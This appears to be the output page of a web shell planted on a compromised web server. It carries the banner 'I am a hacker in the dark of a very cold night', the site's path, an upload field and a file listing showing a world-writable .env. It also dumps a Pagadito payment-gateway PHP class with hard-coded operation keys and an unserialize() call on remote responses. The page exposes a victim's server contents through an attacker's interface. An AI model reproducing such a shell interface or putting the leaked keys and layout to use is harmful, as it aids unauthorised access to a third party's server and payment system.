I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
* @copyright Copyright (c) 2017, Pagadito.com
* @version PHP 1.5.1
* @link https://dev.pagadito.com/index.php?mod=docs&hac=apipg#php
*/
class Pagadito {
//*********************************** Atributos
public $uid;
public $wsk;
public $apipg;
public $apipg_sandbox;
public $format_return;
public $response;
public $sandbox_mode;
public $op_connect_key;
public $op_exec_trans_key;
public $op_get_status_key;
public $op_get_exchange_rate_key;
public $details;
public $custom_params;
public $currency;
public $allow_pending_payments;
//*********************************** Funciones Públicas
/**
* Constructor de la clase, el cual inicializa los valores por defecto.
* @param string $uid El identificador del Pagadito Comercio.
* @param string $wsk La clave de acceso.
*/
public function __construct($uid, $wsk,$cre,$curr){
$this->uid = $uid;
$this->wsk = $wsk;
$this->config($cre,$curr);
}
/**
* Conecta con Pagadito y autentica al Pagadito Comercio.
* @return bool
*/
public function connect(){
$params = array(
'operation' => $this->op_connect_key,
'uid' => $this->uid,
'wsk' => $this->wsk,
'format_return' => $this->format_return
);
$this->response = $this->call($params);
if($this->get_rs_code() == "PG1001"){
return true;
}
else{
return false;
}
}
/**
* Solicita el registro de la transacción y redirecciona a la pantalla de
* cobros de Pagadito. En caso de error devuelve false.
* @param string $ern External Reference Number. Es un número único y obligatorio que identifica una transacción, provisto por el Pagadito Comercio y se utiliza para rastrear las transacciones realizadas por éste.
* @return bool
*/
public function exec_trans($ern){
if($this->get_rs_code() == "PG1001"){
$params = array(
'operation' => $this->op_exec_trans_key,
'token' => $this->get_rs_value(),
'ern' => $ern,
'amount' => $this->calc_amount(),
'details' => json_encode($this->details),
'custom_params' => json_encode($this->custom_params),
'currency' => $this->currency,
'format_return' => $this->format_return,
'allow_pending_payments' => $this->allow_pending_payments,
);
$this->response = $this->call($params);
if($this->get_rs_code() == "PG1002"){
//get pay url.
return $this->response;
// header("Location: ".urldecode($this->get_rs_value()));
// exit();
}
else{
return false;
}
}
else{
return false;
}
}
/**
* Solicita el estado de una transacción en base a su token.
* @param string $token_trans El identificador de la conexión a consultar.
* @return bool
*/
public function get_status($token_trans){
if($this->get_rs_code() == "PG1001"){
$params = array(
'operation' => $this->op_get_status_key,
'token' => $this->get_rs_value(),
'token_trans' => $token_trans,
'format_return' => $this->format_return
);
$this->response = $this->call($params);
if($this->get_rs_code() == "PG1003"){
return true;
}
else{
return false;
}
}
else{
return false;
}
}
/**
* Devuelve la tasa de cambio del quetzal.
* @return float
*/
public function get_exchange_rate_gtq(){
return $this->get_exchange_rate("GTQ");
}
/**
* Devuelve la tasa de cambio del lempira.
* @return float
*/
public function get_exchange_rate_hnl(){
return $this->get_exchange_rate("HNL");
}
/**
* Devuelve la tasa de cambio del córdoba.
* @return float
*/
public function get_exchange_rate_nio(){
return $this->get_exchange_rate("NIO");
}
/**
* Devuelve la tasa de cambio del colón costarricense.
* @return float
*/
public function get_exchange_rate_crc(){
return $this->get_exchange_rate("CRC");
}
/**
* Devuelve la tasa de cambio del balboa.
* @return float
*/
public function get_exchange_rate_pab(){
return $this->get_exchange_rate("PAB");
}
/**
* Devuelve la tasa de cambio del peso dominicano.
* @return float
*/
public function get_exchange_rate_dop(){
return $this->get_exchange_rate("DOP");
}
/**
* Agrega un detalle a la orden de cobro, previo a su ejecución.
* @param int $quantity Define la cantidad del producto.
* @param string $description Define la descripción del producto.
* @param double $price Define el precio del producto en términos de dólares americanos (USD).
* @param string $url_product Define la url de referencia del producto.
*/
public function add_detail($quantity, $description , $price, $url_product = ""){
$this->details[] = array(
"quantity" => $quantity,
"description" => $description,
"price" => $price,
"url_product" => $url_product
);
}
/**
* Establece el valor que tomará el parámetro personalizado especificado
* en la orden de cobro, previo a su ejecución.
* @param string $code Código del parámetro a enviar.
* @param string $value Define el valor que se asignará al parámetro.
*/
public function set_custom_param($code, $value){
$this->custom_params[$code] = $value;
}
/**
* Habilita la recepción de pagos preautorizados para la orden de cobro.
*/
public function enable_pending_payments(){
$this->allow_pending_payments = "true";
}
/**
* Devuelve el código de la respuesta.
* @return string
*/
public function get_rs_code(){
return $this->return_attr_response("code");
}
/**
* Devuelve el mensaje de la respuesta.
* @return string
*/
public function get_rs_message(){
return $this->return_attr_response("message");
}
/**
* Devuelve el valor de la respuesta.
* @return object
*/
public function get_rs_value(){
return $this->return_attr_response("value");
}
/**
* Devuelve la fecha y hora de la respuesta.
* @return string
*/
public function get_rs_datetime(){
return $this->return_attr_response("datetime");
}
/**
* Devuelve el estado de la transacción consultada, después de un get_status().
* @return string
*/
public function get_rs_status(){
return $this->return_attr_value("status");
}
/**
* Devuelve la referencia de la transacción consultada, después de un get_status().
* @return string
*/
public function get_rs_reference(){
return $this->return_attr_value("reference");
}
/**
* Devuelve la fecha y hora de la transacción consultada, después de un get_status().
* @return string
*/
public function get_rs_date_trans(){
return $this->return_attr_value("date_trans");
}
//*********************************** Funciones Públicas auxiliares
/**
* Habilita el modo de pruebas SandBox.
*/
public function mode_sandbox_on(){
$this->sandbox_mode = true;
}
/**
* Cambia el formato de retorno a JSON.
*/
public function change_format_json(){
$this->format_return = "json";
}
/**
* Cambia el formato de retorno a XML.
*/
public function change_format_xml(){
$this->format_return = "xml";
}
/**
* Cambia el formato de retorno a PHP.
*/
public function change_format_php(){
$this->format_return = "php";
}
/**
* Cambia la moneda a dólares americanos.
*/
public function change_currency_usd(){
$this->currency = "USD";
}
/**
* Cambia la moneda a quetzales.
*/
public function change_currency_gtq(){
$this->currency = "GTQ";
}
/**
* Cambia la moneda a lempiras.
*/
public function change_currency_hnl(){
$this->currency = "HNL";
}
/**
* Cambia la moneda a córdobas.
*/
public function change_currency_nio(){
$this->currency = "NIO";
}
/**
* Cambia la moneda a colones costarricenses.
*/
public function change_currency_crc(){
$this->currency = "CRC";
}
/**
* Cambia la moneda a balboas.
*/
public function change_currency_pab(){
$this->currency = "PAB";
}
/**
* Cambia la moneda a pesos dominicanos.
*/
public function change_currency_dop(){
$this->currency = "DOP";
}
//*********************************** Funciones Privadas
/**
* Establece los valores por defecto.
*/
public function config($data,$curr){
$this->apipg = $data->base_url."/apipg/charges.php";
$this->apipg_sandbox = $data->base_url."/comercios/apipg/charges.php";
//Cambie $this->format_return para definir el formato de respuesta que desee utilizar: json, php o xml
$this->format_return = "json";
$this->sandbox_mode = false;
$this->op_connect_key = "f3f191ce3326905ff4403bb05b0de150";
$this->op_exec_trans_key = "41216f8caf94aaa598db137e36d4673e";
$this->op_get_status_key = "0b50820c65b0de71ce78f6221a5cf876";
$this->op_get_exchange_rate_key = "da6b597cfcd0daf129287758b3c73b76";
$this->details = array();
$this->custom_params = array();
$this->currency = $curr;
$this->allow_pending_payments = "false";
}
/**
* Devuelve el valor del atributo solicitado.
* @param string $attr Nombre del atributo de la respuesta.
* @return string
*/
public function return_attr_response($attr){
if(is_object($this->response) && property_exists($this->response, $attr)){
return $this->response->$attr;
}
else{
return null;
}
}
/**
* Devuelve el valor del atributo solicitado.
* @param string $attr Nombre del atributo del valor devuelto en la respuesta.
* @return string
*/
public function return_attr_value($attr){
if($this->return_attr_response("value")){
switch($this->format_return){
case "json":
if(is_object($this->response->value) && property_exists($this->response->value, $attr)){
return $this->response->value->$attr;
}
else{
return null;
}
break;
case "php":
if(is_array($this->response->value) && array_key_exists($attr, $this->response->value)){
return $this->response->value[$attr];
}
else{
return null;
}
break;
case "xml":
if(is_object($this->response->value) && property_exists($this->response->value, $attr)){
return $this->response->value->$attr;
}
else{
return null;
}
break;
}
}
else{
return null;
}
}
/**
* Ejecuta una llamada a Pagadito y devuelve la respuesta.
* @param array $params Variables y sus valores a enviarse en la llamada.
* @return string
*/
public function call($params){
try{
if($this->sandbox_mode){
$ch = curl_init($this->apipg_sandbox);
}
else{
$ch = curl_init($this->apipg);
}
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $this->format_post_vars($params));
$response = curl_exec($ch);
curl_close ($ch);
return $this->decode_response($response);
}
catch(Exception $err){
return null;
}
}
/**
* Devuelve una cadena con el formato válido de variables y valores para
* enviar en una llamada.
* @param array $vars Variables y valores a ser formateados.
* @return string
*/
public function format_post_vars($vars){
$formatted_vars = "";
foreach($vars as $key => $value) {
$formatted_vars .= $key.'='.urlencode($value).'&';
}
$formatted_vars = rtrim($formatted_vars, '&');
return $formatted_vars;
}
/**
* Devuelve un objeto con los datos de la respuesta de Pagadito.
* @param string $response Cadena contenedora de la estructura a ser decodificada.
* @return object
*/
public function decode_response($response){
switch($this->format_return)
{
case "php":
return unserialize($response);
break;
case "xml":
return simplexml_load_string($response);
break;
case "json":
default:
return json_decode($response);
break;
}
}
/**
* Devuelve la sumatoria de los productos entre cantidad y precio de todos
* los detalles de la transacción.
* @return double
*/
public function calc_amount(){
$amount = 0;
foreach($this->details as $detail){
$amount += $detail["price"];
}
return $amount;
}
/**
* Devuelve la tasa de cambio de la moneda determinada.
* @param string $currency Es la moneda de la cual se obtendrá su tasa de cambio.
* @return float
*/
public function get_exchange_rate($currency){
if(in_array($this->get_rs_code(), array("PG1001", "PG1004"))){
$params = array(
'operation' => $this->op_get_exchange_rate_key,
'token' => $this->get_rs_value(),
'currency' => $currency,
'format_return' => $this->format_return
);
$previous_response = $this->response;
$this->response = $this->call($params);
if($this->get_rs_code() == "PG1004"){
$exchage_rate = $this->get_rs_value();
$this->response = $previous_response;
return $exchage_rate;
}
else{
return 0;
}
}
else{
return 0;
}
}
}
?>